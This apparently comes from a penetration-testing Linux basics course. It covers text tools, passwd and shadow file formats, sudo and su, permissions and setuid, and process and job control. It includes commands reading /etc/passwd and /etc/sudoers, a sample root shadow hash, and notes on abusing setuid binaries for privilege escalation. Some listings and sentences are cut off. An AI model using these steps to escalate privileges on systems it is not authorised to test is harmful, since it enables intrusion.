kali@kali:~$ ls -la /usr/bin | grep zip
-rwxr-xr-x 3 root root 34480 Jan 29 2017 bunzip2
-rwxr-xr-x 3 root root 34480 Jan 29 2017 bzip2
-rwxr-xr-x 1 root root 13864 Jan 29 2017 bzip2recover
-rwxr-xr-x 2 root root 2301 Mar 14 2016 gunzip
-rwxr-xr-x 1 root root 105172 Mar 14 2016 gzip
Listing 56 - Searching for any file(s) in /usr/bin containing
"zip"
In Listing 56, we listed all the files in the
/usr/bin directory with ls and piped the output
into grep, which searches for any line containing the string
"zip". Understanding the grep tool and when to use it can prove
incredibly useful.
sed is a powerful stream editor. At a very high level,
sed performs text editing on a stream of text, which will
either be a set of specific files or standard output.
kali@kali:~$ echo "I need to try hard" | sed 's/hard/harder/'
I need to try harder
Listing 57 - Replacing a word in the output stream
In Listing 57, we created a stream of text using the
echo command and then piped it to sed to replace the
word "hard" with "harder". Note that by default the output has been
automatically redirected to standard output.
The cut command is simple, but often comes in quite handy.
It is used to extract a section of text from a line and write it to
standard output.
The most commonly-used option are -f, for the field number
we are cutting, and -d for the field delimiter.
To observe it in action, let's echo a line of text and pipe
it to cut. We'll extract the second field using a comma
(,) as the field delimiter.
kali@kali:~$ echo "I hack binaries,web apps,mobile apps and just about anything else" | cut -f 2 -d ","
web apps
Listing 58 - Extracting a field using cut
cut can be also used on lines in text files. For example, we can
extract a list of users from /etc/passwd by using :
as a delimiter and retrieving the first field.
kali@kali:~$ cut -d ":" -f 1 /etc/passwd
root
daemon
bin
sys
sync
games
...
Listing 59 - Extracting usernames using cut
awk is a programming language designed for text processing
and is typically used as a data extraction and reporting tool.
It happens to be extremely powerful, and has significantly more
functionalities than we can demonstrate here. Two commonly used features
are the -F option, which is the field separator, and the
print subcommand, which outputs the resulting text.
kali@kali:~$ echo "hello::there::friend" | awk -F "::" '{print $1, $3}'
hello friend
Listing 60 - Extracting fields from a stream using a
multi-character separator in awk
Here we echoed a line and piped it to awk to extract the first and
third fields using "::" as a field separator.
The most prominent difference between the cut and the
awk examples we showed is that cut can only use a
single character as a field delimiter, while awk, as shown
in Listing 60, is much more flexible. As a general rule,
when we start building a command involving multiple string-processing
operations, we may want to consider switching to awk instead.
In this section we will explore how the Linux system allows us to
compare files. File comparison may not seem very important at first
glance, but system administrators, network engineers, penetration
testers, IT support technicians, and many other technically-oriented
professionals rely on this skill pretty often.
The comm[47] command compares two text files, displaying
the lines that are unique to each one, as well as the lines they have
in common. It outputs three columns: the first contains lines that
are unique to the first file or argument; the second contains lines
that are unique to the second file or argument; and the third column
contains lines that are shared by both files. The -n option,
where "n" is either 1, 2, or 3, can be used to suppress one or more
columns, depending on the need.
kali@kali:~$ cat scan-a.txt
192.168.1.1
192.168.1.2
192.168.1.3
192.168.1.4
192.168.1.5
kali@kali:~$ cat scan-b.txt
192.168.1.1
192.168.1.3
192.168.1.4
192.168.1.5
192.168.1.6
kali@kali:~$ comm scan-a.txt scan-b.txt
192.168.1.1
192.168.1.2
192.168.1.3
192.168.1.4
192.168.1.5
192.168.1.6
kali@kali:~$ comm -12 scan-a.txt scan-b.txt
192.168.1.1
192.168.1.3
192.168.1.4
192.168.1.5
Listing 61 - Using comm to compare files
In Listing 61, the first command displayed the unique
lines in scan-a.txt, the unique lines in scan-b.txt
and the lines found in both files respectively. The second command
displayed only the lines that were found in both files since we
suppressed the first and second columns with -12.
The diff[48] command is used to detect differences between
files, similar to comm. However, diff is much more complex
and supports many output formats. Two of the most popular formats
include the context format (-c) and the unified format
(-u). The following example demonstrates the difference
between the two formats.
kali@kali:~$ diff -c scan-a.txt scan-b.txt
*** scan-a.txt 2018-02-07 14:46:21.557861848 -0700
--- scan-b.txt 2018-02-07 14:46:44.275002421 -0700
***************
*** 1,5 ****
192.168.1.1
- 192.168.1.2
192.168.1.3
192.168.1.4
192.168.1.5
--- 1,5 ----
192.168.1.1
192.168.1.3
192.168.1.4
192.168.1.5
+ 192.168.1.6
kali@kali:~$ diff -u scan-a.txt scan-b.txt
--- scan-a.txt 2018-02-07 14:46:21.557861848 -0700
+++ scan-b.txt 2018-02-07 14:46:44.275002421 -0700
@@ -1,5 +1,5 @@
192.168.1.1
-192.168.1.2
192.168.1.3
192.168.1.4
192.168.1.5
+192.168.1.6
Listing 62 - Using diff to compare files
The output uses the - indicator to show that the line appears
in the first file, but not in the second. Conversely, the +
indicator shows that the line appears in the second file, but not in
the first.
The most notable difference between the two formats is that the
unified format does not show lines that match between files, making
the resulting output shorter. The indicators have identical meanings
in both formats.
File editing in a command shell environment is an extremely important
Linux skill, especially during a penetration test if you happen to get
access to a Unix-like OS.
Although there are text editors like gedit[49] and
Leafpad[50] that might be more visually appealing due to
their graphical user interface, we will focus on text-based terminal
editors, which emphasize both speed and versatility.
There are plenty of tools for editing text but for the sake of
this Module, we will be focusing on one of the simplest options,
nano.[51]
It is important to note that nano is not installed by default on some
distributions. On Kali you can install nano using sudo apt install
nano if it is not already installed.
We can open an existing file by supplying the filename as an argument
to nano on the command-line.
We can also create a new file that doesn’t exist by invoking
nano with no arguments.
Once the editor is opened we can edit the content as we would normally
do in a graphical text editor. Navigating through the text can be done
using the arrow keys and deletion can be done with the backspace.
Saving the file can be done using C+o, and exiting
the editor with C+x. Note that if the file content
is modified and C+x is hit, the editor will prompt
us if we would like to save the modifications or not. We can then
reply with "Y" or "N".
To search for a string in the text, press C+w, type
in the search term then press Enter. The cursor will move to the first
match. To move to the next match, press E+w.
For additional information regarding nano, refer to its online
documentation.[52]
In this Module, we will cover the following learning units:
This Learning Unit covers the following Learning Objectives:
Most security professionals will need to understand details about how
user accounts and group memberships are stored on a Unix-like system.
As an example, it is important to be able to list the user accounts
and check whether an account is disabled or can be used to log in
with.
There are few different authentication schemes that can be used on
Linux systems. The most commonly used authentication scheme makes use
of the /etc/passwd and /etc/shadow files.
Information about user accounts are stored in the /etc/passwd
file.[53] This file can be read by anyone because some
utilities depend on it, for example to map user IDs to usernames.
For this reason, the fingerprints of the passwords are stored in
a different file, called /etc/shadow.[54] The
shadow file can only be accessed with high privileges.
A colon separates the different properties of /etc/shadow.
An example of the content of /etc/shadow is shown in Listing
root: $6$pfiZTzNB1wav3OFG$GDwbvI44D7sBuX7Q.6LmNWx.RaU6nzxZWCCkkMNIXCkvANnNoYogV983NSLkG1cfpaW4mmyFuTOKkDf53hVkh/: 18781: 0: 99999: 7:::
Listing 1 - Example entry of /etc/shadow file.
Let's review the individual elements that appear in this entry.
Each part of this entry is separated by a colon. The root
entry is the username in plain text. The next piece, which is quite
long, represents an encrypted password. We'll learn more about
encryption in a later Module. For now, it's enough to know that the
password has been manipulated in such a way that someone browsing this
file cannot easily read what the password is.
The next piece, 18781, is the last time the password was
changed, in timestamp[55] format. 0 is The minimum
number of days required between password changes, and 99999
is the maximum number of days the password is valid for. The last
number, 7, indicates the number of days in advance of the
password's expiration date that the user will be warned that they will
need to change their password.
The following is an example entry of the /etc/passwd file.
john: x: 1002: 1002: John Doe,,,: /home/john: /bin/bash
Listing 2 - Example entry of /etc/passwd file.
Again, a colon separates the different properties. Let's review
each of them in the order they appear.
john is the username in plain text. x indicates
that the password needs to be pulled from the shadow file.
As we mentioned previously, this is because the passwd file
is world readable, meaning that any user can read its content. The
shadow file can only be accessed with high privileges.
Continuing, the first 1002 indicates the User ID[56]
(UID), which is a unique number on the system for each account, and
the second 1002 is the primary Group ID (GID) the user
belongs to respectively. Additional group memberships are defined in
the /etc/group file. We'll discuss the concept of groups in
detail later.
Let's continue. John Doe is in an optional field called the
comment field. It is most commonly used for informational
purposes. Usually, it contains the user's full name. Next,
/home/john is the user's home directory location, and
/bin/bash is the default shell environment for the user.
It is important to note that the UID of 0 has a special role. It
is always assigned to the system administrator superuser, called
root. It is technically possible to manually set UID 0 for
other users and thereby grant them elevated privileges, but it is not
recommended.
User accounts can be disabled and enabled in several ways.
As system administrators, one method we can use to control
user accounts is to lock a user's password. The usermod -L
username and passwd -l username commands both place an
exclamation mark (!) at the beginning of the password hash in
/etc/shadow. This change can be manually applied to the file
as well. The result is that any password authentication attempt will
fail for the given user.
Another method is to mark the user account as expired. When an
account expiration date is set, it is stored in the 8th field within
/etc/shadow. We can use the chage command by
providing the -E switch to set an expiration date for a user
account. The easiest way to expire an account is to provide a date in
the past.
A third method is to change the default shell in /etc/passwd
either to /bin/false, which will exit immediately, or to
/sbin/nologin, which is a simple program that displays a
message saying that the account is currently not available. We can use
the usermod command with the -s option to change the
default shell of a user.
If we would like to know whether a user account is disabled or locked,
we have to verify all three methods mentioned above. We can use the
following commands to check for expiration dates, password-locks, and
non-interactive shells.
root@kali:~# passwd --status jane
jane L 03/15/2021 0 99999 7 -1
root@kali:~# chage -l jane
Last password change : Mar 15, 2021
Password expires : never
Password inactive : never
Account expires : never
Minimum number of days between password change : 0
Maximum number of days between password change : 99999
Number of days of warning before password expires : 7
Listing 3 - An example of how to verify account lock and password expiration dates
In Listing 3, we used passwd --status to
confirm that jane's password is locked. We then use chage -l
to confirm that the account is not expired.
root@kali:~# grep ^jane /etc/passwd
jane:x:5001:5001::/home/jane:/sbin/nologin
Listing 4 - An example of how to verify a user's shell
In Listing 4, we use grep with
a regular expression to find a line that begins with "jane". Grep
returned jane's properties in /etc/passwd, where we can
verify that the default shell is /sbin/nologin. This means that login
access for the account is disabled.
Groups allows system administrators to configure more flexible and
granular permissions, as we'll discover later on. Information about
user groups are stored in the /etc/group file.[57]
Let's review an example entry of this file.
bluetooth: x: 117: kali
Listing 5 - Example entry of /etc/group file
The file structure follows a similar convention to
/etc/passwd. Let's quickly review the individual parts.
bluetooth is the group name, x is the group password
(usually not used), and 117 is the group ID. kali
is a particular user that belongs to the specified group. Note
that only users who have a secondary group membership are listed in
/etc/group, since primary group memberships are stored in
/etc/passwd.
In this section, we will get familiar with how to execute privileged
commands and how to switch contexts across different users. As
a security professional, it is important to know how to identify
misconfigurations, or to notice automation implemented in a way that
can be abused.
The sudo[58]^,[59]^,[60]^,[61] command can be used to
execute a command with elevated privileges. To be able to use sudo,
our low-privileged user account has to be a member of the sudo group
(on Debian based Linux distributions, like Kali). The word "sudo"
stands for "Superuser-Do", and we can think of it as changing the
effective user of the command that follows.
As an example of this, let's run the whoami command, which
lists the current effective user.
kali@kali:~$ whoami
kali
kali@kali:~$ sudo whoami
[sudo] password for kali:
root
Listing 6 - practicing with sudo.
To run this command, we need to provide the password of the current
user, which will be cached for five minutes by default. In other
words, once we successfully authenticate our low-level user with
sudo, we will keep the elevated permissions for the cached
amount of time. If we were to run sudo whoami again, we would
not receive the password prompt.
Also note that the cursor does not move and there is no other output
(for example, a series of asterisks) to indicate that the password is
being typed.
Custom configurations can be applied in the /etc/sudoers
file.[62]
root@kali:~# cat /etc/sudoers
#
# This file MUST be edited with the 'visudo' command as root.
#
# Please consider adding local content in /etc/sudoers.d/ instead of
# directly modifying this file.
#
# See the man page for details on how to write a sudoers file.
#
Defaults env_reset
Defaults mail_badpass
Defaults secure_path="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"
# Host alias specification
# User alias specification
# Cmnd alias specification
# User privilege specification
root ALL=(ALL:ALL) ALL
# Allow members of group sudo to execute any command
%sudo ALL=(ALL:ALL) ALL
# See sudoers(5) for more information on "@include" directives:
@includedir /etc/sudoers.d
Listing 7 - /etc/sudoers entry.
The output indicates that the root user has all sudo permissions. We
can specify that a user does not have to provide the password to run
sudo, and we can limit the list of executable commands allowed through
sudo. We can use the -l or --list option to list
the allowed commands for the current user.
kali@kali:~$ sudo -l
[sudo] password for kali:
Matching Defaults entries for box on academy:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User kali may run the following commands on kali:
(ALL : ALL) ALL
Listing 8 - sudo -l output.
One of the most commonly used sudo arguments is the
-i option, which allows the current user to run a login shell
as the root user (a command may also be specified):
kali@kali:~$ id
uid=1000(kali) gid=1000(kali) groups=1000(kali)
kali@kali:~$ sudo id
uid=0(root) gid=0(root) groups=0(root)
kali@kali:~$ id
uid=1000(kali) gid=1000(kali) groups=1000(kali)
kali@kali:~$ sudo -i
root@kali:~# id
uid=0(root) gid=0(root) groups=0(root)
Listing 9 - sudo -i usage.
Here, we execute the id command four times to check our
UID. The first time, we note that our kali user's UID is 1000, which
is often the default UID of the first human user on a Linux system.
We then use sudo id to execute a single command as root.
Since we are executing the command as root, id outputs root's UID.
However, this UID does not belong to kali, and so when we execute
id as kali the third time, we get kali's UID of 1000 once
again.
Finally, we execute sudo -i to give the kali user root's
login shell. Now when we run id for the fourth time, we
are provided with root's UID. Notice also that the user's prompt has
changed from a "$" character to a "#". This convention identifies an
elevated user on many Linux shells, including Bash and Zsh.
The su[63] command can be used to switch users. Without any
parameters, the default behavior is to run an interactive shell as the
root user.
Invoking su will prompt us for root's password, whereas sudo requires
only that we know our own user's password. Note that on some Linux
distributions, password authentication for the root user is disabled
by default. Kali is an example of such a distribution.
We can either make changes to the configuration files or we can use
root privileges with the sudo command. Let's practice that
now and switch to the root user.
kali@kali:~$ whoami
kali
kali@kali:~$ sudo su
root@kali:/home/kali# whoami
root
Listing 10 - Simple su usage.
We began this example as the kali user. This is confirmed when we run
the whoami command. When we run sudo su, we are given the
root login shell. When we run whoami a second time, it shows
the current user is root.
We can also use su to execute a single command as the target
user by using the -l and -c options as follows.
root@kali:~# whoami
root
root@kali:~# su -l offsec -c "whoami"
offsec
Listing 11 - Running the whoami command as another user using su.
This Learning Unit covers the following Learning Objectives:
As a security professional, it is essential to be familiar with file
permissions[64]^,[65] on
Linux distributions. For example, sometimes a low privileged users can
modify configuration files that enable privilege escalation.
One of the defining features of Linux and other UNIX derivatives
is that most resources, including files, directories, devices, and
network communications are represented in the filesystem. Put
colloquially, "everything is a file".
Each file or directory has specific permissions for three categories
of users.
Its owner (symbolized by u, as in user)
Its owner group (symbolized by g, as in group), representing all
the members of the group
The others (symbolized by o, as in other)
In addition to this, three types of rights can be combined.
reading (symbolized by r, as in read)
writing (or modifying, symbolized by w, as in write)
executing (symbolized by x, as in eXecute)
In the case of a file, these rights are easily understood: read access
allows a user to read the content (including copying), write access
allows changing it, and execute access allows running it (which will
only work if it is a program).
A directory is handled differently from a file. Read access gives the
right to consult the list of its contents (files and directories).
Write access allows creating or deleting files. Finally, execute
access allows crossing through the directory to access its contents
(for example, with the cd command). Being able to cross
through a directory without being able to read it gives the user
permission to access known entries, but only by knowing their exact
name.
We can use the long option (-l) of ls to view the
permissions of files and directories.
kali@kali:~$ ls -l /etc/passwd
-rw-r--r-- 1 root root 3348 Mar 19 07:14 /etc/passwd
Listing 12 - Example permissions on a file
In Listing 12, we note that the root user has
read and write privileges on /etc/passwd/, while the root
group and everyone else have only read permission.
We can use the chown command to change the ownership
properties of a file. There are two ways of representing rights.
Among them, the symbolic representation is probably the easiest to
understand and remember.
The symbolic representation involves the letter symbols mentioned
above. We can define rights for each category of users (u/g/o),
by setting them explicitly (with =), by adding (with
+), or subtracting (with -).
For example, we can use the u=rwx,g+rw,o-r formula to give
the owner read, write, and execute rights, add read and write rights
for the owner group, and remove read rights for other users.
Rights not altered by the addition or subtraction in such a command
remain unmodified. The letter a, for all, covers all three
categories of users so that a=rx grants all three categories
the same rights (read and execute, but not write).
kali@kali:~$ ls -la perms
-rw-r--r-- 1 kali kali 0 Mar 22 10:40 perms
kali@kali:~$ chown root perms
chown: changing ownership of 'perms': Operation not permitted
kali@kali:~$ sudo chown root perms
[sudo] password for kali:
kali@kali:~$ ls -l perms
-rw-r--r-- 1 root kali 0 Mar 22 10:40 perms
Listing 13 - Example of changing ownership on a file
In Listing 13, the owner of the
perms file has been changed from kali to root. After this,
even though the user executing the command is the owner of the file,
the execution fails. Note that the chown command has to be
executed with elevated privileges to change a file's owner to another
user.
The chmod command can be used to change the permission
settings on a file or a directory.
kali@kali:~$ ls -l perms
-rw-r--r-- 1 kali kali 0 Mar 22 10:40 perms
kali@kali:~$ chmod u+x,g+w,o-r perms
kali@kali:~$ ls -l perms
-rwxrw---- 1 kali kali 0 Mar 22 10:40 perms
Listing 14 - Example of changing permissions on a file
In Listing 14, we granted (+) execute
permissions (x) to the owner user (u), granted (+) write (w)
permissions to the owner group (g), and revoked (-) read (r)
permissions to other users on the perms file.
The second way to represent rights is via an octal numeric
representation. It associates each right with a value.
4 for read
2 for write
1 for execute
We associate each combination of rights with the sum of the three
figures.
7 = 4 + 2 + 1 = read, write, and execute
6 = 4 + 2 = read and write
5 = 4 + 1 = read and execute
3 = 2 + 1 = write and execute
Finally, 0 represents no permissions. Notice how there is only one
way to obtain each of the combination numbers by adding together the
individual components.
To set rights for each of the three different categories, we assign
one of these numeric values to them in the usual order (owner, then
group, then others).
For instance, the chmod 754 command will set the
following rights:
chmod 600 <file> allows for
The most frequent right combinations are 755 for executable files and
directories, and 644 for data files.
Note that the use of octal notation only allows us to set all the
rights at once on a file; we cannot use it to add a new right, such as
read access for the group owner since we must take into account the
existing rights and compute the new corresponding numerical value.
Aside from the rwx permissions described above, two additional special
rights pertain to executable files: setuid and setgid. These are
symbolized with the letter "s".
If these two rights are set, either an uppercase or lowercase "s" will
appear in the permissions. This allows the current user to execute the
file with the rights of the owner (setuid) or the owner's group
(setgid).
It's important to note a few things here. The first is that many files
will have root as the owner of the file. If the setuid attribute is
assigned to an executable, that program will run under the super-user
identity. This means that any user who manages to subvert a setuid
root program to call a command of their choice can effectively
impersonate the root user and have all rights on the system.
Penetration testers regularly search for these types of files when
they gain access to a system as a way of escalating their privileges.
Let's review an example. We'll list the attributes of the passwd
command, which is used to change passwords for user accounts.
kali@kali:~$ ls -la /usr/bin/passwd
-rws r-xr-x 1 root root 63960 Feb 7 2020 /usr/bin/passwd
Listing 15 - Setuid example
The lowercase "s", which appears here, means both execute and setuid
flags are set. A capital "S" would mean the setuid bit is set, but
that the execute flag is missing.
Let's do a quick experiment with changing the setuid bit. We'll make
a copy of the id command, which displays the current user and group
membership. If we run this command as the kali user, it will output
"kali", but if we change its ownership to root and set the setuid
flag, it will output "root" even though we run it as the kali user.
kali@kali:~$ which id
/usr/bin/id
kali@kali:~$ sudo cp /usr/bin/id /usr/bin/idcopy
kali@kali:~$ ls -la /usr/bin/idcopy
-rwxr-xr-x 1 root root 48064 Jun 30 14:53 /usr/bin/idcopy
kali@kali:~$ idcopy
uid=1000(kali) gid=1000(kali) groups=1000(kali)
kali@kali:~$ sudo chown root:kali /usr/bin/idcopy
[sudo] password for kali:
kali@kali:~$ sudo chmod u+s /usr/bin/idcopy
kali@kali:~$ ls -la /usr/bin/idcopy
-rwsr-xr-x 1 root kali 48064 Jun 30 14:53 /usr/bin/idcopy*
kali@kali:~$ idcopy
uid=1000(kali) gid=1000(kali) euid=0(root) groups=1000(kali)
Listing 16 - Setting setuid example
Let's take a moment to understand this example.
First, we made a copy of the id executable named idcopy, and
put it in the /usr/bin directory. This allows us to invoke
idcopy directly from the command line, since /usr/bin
is inside our $PATH. We reviewed the permissions, which showed two
things. We note that the "s" is missing. In addition, the owner of
this file is kali.
Perhaps predictably, when we ran idcopy, the output showed
that the user executing the command has UID 1000, which belongs to
kali.
For our experiment to work, we will need to change the owner to root
and then change the permissions so that this command runs with the
permissions of the owner of the executable rather than the current
user. We used sudo chown root:kali /usr/bin/idcopy to change
the owner of this file to root.
The critical step here was setting the setuid bit with sudo chmod
u+s /usr/bin/idcopy. When we reviewed the permissions again, we
note that the "s" is present and that the owner of this file is now
root.
Finally, we ran /usr/bin/idcopy and noted that while the
UID of the executing user remains 1000 (belonging to kali), the
effective UID, or EUID, is now 0 (belonging to root). This means
that the program ran as if root was the executor, even though it was
invoked by kali.
Like the setuid bit, the setgid bit is a special file permission that
enables users to inherit the effective group ID of the file group
owner. This special bit is set similarly to the setuid bit.
From the kali terminal, we can run id -g to learn the
effective group id of the current user. To learn more about
the setgid bit, we'll experiment with this command by making a second
copy of id, similar to what we did above.
Running idcopy also gives us the numeric identifier for the
current group, which is GID 1000, belonging to the kali group. We'll
use sudo chown kali:root to change the group owner for this
file.
Finally, we'll change this command to execute with the group owner
permissions with the following: chmod g+s filename When we
run idcopy2 again, it outputs "egid=0", indicating that the
command was executed in the context of the root user group. The output
provides further evidence of this, since it shows that the executor is
part of the root group as well.
kali@kali:~$ sudo cp /usr/bin/id /usr/bin/idcopy2
kali@kali:~$ cp /usr/bin/id /usr/bin/idcopy2
kali@kali:~$ ls -la /usr/bin/idcopy2
-rwxr-xr-x 1 kali kali 48064 Jun 30 14:53 idcopy2
kali@kali:~$ idcopy2
uid=1000(kali) gid=1000(kali) groups=1000(kali)
kali@kali:~$ sudo chown kali:root /usr/bin/idcopy2
kali@kali:~$ sudo chmod g+s /usr/bin/idcopy2
kali@kali:~$ ls -la /usr/bin/idcopy2
-rwxr-sr-x 1 kali root 48064 Jun 30 14:53 /usr/bin/idcopy2
kali@kali:~$ idcopy2
uid=1000(kali) gid=1000(kali) egid=0(root) groups=0(root),1000(kali)
Listing 17 - Setting setgid example
The setgid bit also applies to directories. Any newly-created item
in a directory is automatically assigned the owner group of the
parent directory. It does this instead of, for example, inheriting
the creator's main group.
Because of this, we don't have to change our main group (with the
newgrp command) when working in a file tree shared between several
users of the same dedicated group.
The sticky bit (symbolized by the letter "t") is a permission that
is only useful in directories. It is commonly used for temporary
directories where everybody has write access (such as /tmp/).
It restricts deletion of files so that only their owner or the owner
of the parent directory can delete them. Without this, everyone could
delete each other's files in /tmp/.
kali@kali:~$ ls -ld /tmp
drwxrwxrwt 18 root root 4096 Mar 19 11:39 /tmp
Listing 18 - Sticky bit example
In this example, the letter "t" appears at the end of the permission
settings, indicating that the sticky bit is set.
This Learning Unit covers the following Learning Objectives:
The Linux kernel manages multitasking through the use of processes.
In this section we'll cover how to interact with them.
In the context of this Module, a process is an instance of a running
program. Every time we run a program via our terminal, we begin a new
process. The Linux kernel maintains information about each process to
help keep them organized, and each process is assigned a number called
a process ID[66] (PID).
Linux also contains the concept of jobs to ease the user's workflow
during a terminal session. As an example, cat error.txt | wc
-m is a pipeline of two processes, which the shell considers
a single job. Job control[67]^,[68]
refers to the ability to selectively suspend the execution of jobs and
resume their execution at a later time.
When jobs are running in the foreground, the terminal is occupied
and no other commands can be executed until the current one finishes.
Up until this point, all or most of the commands we have run have
finished within a very short period, almost instantly. However, in
some cases, the execution can take much longer. We can send those
jobs to the background to regain control of the terminal and execute
additional commands.
The quickest way to background a process is to append an ampersand
(&) to the end of the command to send it to the background
immediately after it starts. Let's try a brief example.
kali@kali:~$ ping -c 400 localhost > ping_results.txt &
Listing 19 - Backgrounding a job right after
it starts
In Listing 19, we sent 400 ICMP echo requests
to the local interface with the ping command and wrote the
results to a file called pingresults.txt. We'll learn more
about ICMP and _ping in the networking Module. For now, notice that
the inclusion of the "&" symbol causes execution to automatically run
in the background, leaving the shell free for additional operations.
If we had not supplied the "&" symbol, the command would have
run in the foreground, and we would be forced to either cancel the
command with C+c, wait until the command finishes
to regain control of the terminal, or suspend the job using
C+z after it has already started.
Suspending a job pauses it until it is told to resume. Once a job
has been suspended, we can resume it in the background by using the
bg command:
kali@kali:~$ ping -c 400 localhost > ping_results.txt
^Z
[1]+ Stopped ping -c 400 localhost > ping_results.txt
kali@kali:~$ bg
[1]+ ping -c 400 localhost > ping_results.txt
kali@kali:~$
Listing 20 - Using bg to background a job
Here, we started the job and then suspended it. The "^Z" character
represents the keystroke combination C+z.This
allows us to continue using the terminal as we wish. Next, we used
bg to resume the job.
Suspending jobs can be very useful, but we need to keep in mind that
some processes are time sensitive and may give incorrect results if
left suspended for too long. For instance, in the ping example, the
echo reply may come back but if the process is suspended when the
packet comes in, the process may miss it, leading to incorrect output.
Always consider the context of what the commands you are running are
doing when engaging in job control.
To quickly check on the status of our ICMP echo requests, we need to
make use of two additional commands: jobs and fg.
The built-in jobs utility lists the jobs that are running in
the current terminal session, and fg returns a job to the
foreground. These commands are shown in action below:
kali@kali:~$ ping -c 400 localhost > ping_results.txt
^Z
[1]+ Stopped ping -c 400 localhost > ping_results.txt
kali@kali:~$ find / -name sbd.exe
^Z
[2]+ Stopped find / -name sbd.exe
kali@kali:~$ jobs
[1]- Stopped ping -c 400 localhost > ping_results.txt
[2]+ Stopped find / -name sbd.exe
kali@kali:~$ fg %1
ping -c 400 localhost > ping_results.txt
^C
kali@kali:~$ jobs
[2]+ Stopped find / -name sbd.exe
kali@kali:~$ fg
find / -name sbd.exe
/usr/share/windows-resources/sbd/sbd.exe
Listing 21 - Using jobs to look at jobs and fg to
bring one into the foreground
Here we started one job and suspended it, and then we started another
job and suspended that as well. When we ran the jobs command,
the output showed our two commands. We moved the first one to the
foreground with fg %1, where %1 indicates the ping
job. We can use a shortcut to terminate a long-running process and
regain control of the terminal. That was the case here, where we ended
the ping job with C+c. The "^C" character
shows this action.
From there, we can run jobs again, but this time it only shows
the find command we suspended. We can restart this job by running
fg.
There are various ways to refer to a job in the shell. The "%"
character followed by a JobID represents a job specification. The
JobID can be a PID number or we can use one of the following symbol
combinations:
%Number : Refers to a job number such as %1 or %2.
%String : Refers to the beginning of the suspended command's name
such as %commandNameHere or %ping.
%+ OR %% : Refers to the current job.
%- : Refers to the previous job.
Note that if only one process has been backgrounded, the job number is
not needed.
One of the most useful commands to monitor processes on mostly any
Unix-like operating system is ps[69] (short for process
status). Unlike the jobs command, ps lists processes system-wide,
not only for the current terminal session. This utility is considered
a standard on Unix-like OSes and its name is so well-recognized that
even on Windows PowerShell, ps is a predefined command alias for the
Get-Process cmdlet, which essentially serves the same purpose.
As a penetration tester, one of the first things to check after
obtaining remote access to a system is to understand what software is
currently running on the compromised machine. This could help us
elevate our privileges or collect additional information to
acquire further access into the network.
As an example, let's start the Mousepad text editor and then try to
find its PID from the command line by using the ps command.
kali@kali:~$ ps -ef
UID PID PPID C STIME TTY TIME CMD
root 1 0 0 10:18 ? 00:00:02 /sbin/init
root 2 0 0 10:18 ? 00:00:00 [kthreadd]
root 3 2 0 10:18 ? 00:00:00 [rcu_gp]
root 4 2 0 10:18 ? 00:00:00 [rcu_par_gp]
root 5 2 0 10:18 ? 00:00:00 [kworker/0:0-events]
root 6 2 0 10:18 ? 00:00:00 [kworker/0:0H-kblockd]
root 7 2 0 10:18 ? 00:00:00 [kworker/u256:0-events_unbound
root 8 2 0 10:18 ? 00:00:00 [mm_percpu_wq]
root 9 2 0 10:18 ? 00:00:00 [ksoftirqd/0]
root 10 2 0 10:18 ? 00:00:00 [rcu_sched]
...
Listing 22 Common ps syntax to list all the processes
currently running
We used two options here. The first (e) selects all
processes. The second (f) displays the full format listing (UID, PID,
PPID, etc.)
Finding our Mousepad application in that massive listing is definitely
not easy, but since we know the application name we are looking for,
we can replace the -e switch with -C (select by
command name).
kali@kali:~$ ps -fC mousepad
UID PID PPID C STIME TTY TIME CMD
kali 1307 938 0 10:57 ? 00:00:00 mousepad
Listing 23 - Narrowing down our search by specifying the
process name
In Listing 23, the process search has returned a single
result from which we gathered Mousepad's PID. It's worth spending some
time exploring the man page for the ps command (man ps).
If we master it, ps can become a very effective tool for process
management.
Let's say we now want to stop the Mousepad process without interacting
with the GUI. The kill command can help us here, as its purpose is
to send a specific signal[70] to a process. To
use kill, we need the PID of the process we want to send the
signal to. From the previous listing, we know the PID is 1307.
kali@kali:~$ kill 1307
kali@kali:~$ ps aux | grep mousepad
kali 1313 0.0 0.0 6144 888 pts/0 S+ 10:59 0:00 grep mousepad
Listing 24 - Stopping mousepad by sending the
SIGTERM signal
Because the default signal for kill is SIGTERM (request termination), our
application has been terminated. This has been verified in the example by
using ps after killing Mousepad.
This Learning Unit covers the following Learning Objectives:
It is extremely valuable to know how to monitor files and commands in
real-time during a penetration test. Two commands that help with such
tasks are tail[71] and watch.[72]
The most common use of tail is to monitor log file entries
as they are being written. For example, we may want to monitor the
Apache logs to determine if a web server is being contacted by a given
client that we are attempting to attack via a client-side exploit.
Let's examine this practical example to understand how we might use
tail.
kali@kali:~$ sudo tail -f /var/log/apache2/access.log
127.0.0.1 - - [02/Feb/2021:12:18:14 -0500] "GET / HTTP/1.1" 200 3380 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
127.0.0.1 - - [02/Feb/2021:12:18:14 -0500] "GET /icons/openlogo-75.png HTTP/1.1" 200 6040 "http://127.0.0.1/" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
127.0.0.1 - - [02/Feb/2021:12:18:15 -0500] "GET /favicon.ico HTTP/1.1" 404 500 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
Listing 25 - Monitoring the Apache log file using tail command.
The -f option (follow) is very useful as it continuously
updates the output as the target file grows. Another convenient switch
is -n X, which outputs the last "X" number of lines, instead
of the default value of 10.
The watch command is used to run a designated command at
regular intervals. By default, it runs every two seconds, but we can
specify a different interval by using the -n X option to
have it run every "X" number of seconds. For example, this command
will list logged-in users (via the w command) once every 5
seconds.
kali@kali:~$ watch -n 5 w
............
Every 5.0s: w kali: Tue Jan 23 21:06:03 2021
21:06:03 up 7 days, 3:54, 1 user, load average: 0.18, 0.09, 0.03
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
kali tty2 :0 16Jan18 7days 16:29 2.51s /usr/bin/python
Listing 26 - Monitoring logged in users using the
watch command.
To terminate the watch command and return to the interactive terminal
we can use C+c.
This Learning Unit covers the following Learning Objectives:
In this Learning Unit, we will be exploring the Advanced Package
Tool (APT) toolset as well as other commands that can be used to
search for, install, or remove applications.
APT is a set of tools that helps manage packages, or applications,
on Ubuntu, Debian, and related Linux distributions. Since
Kali[73] is based on Debian,[74] we can use
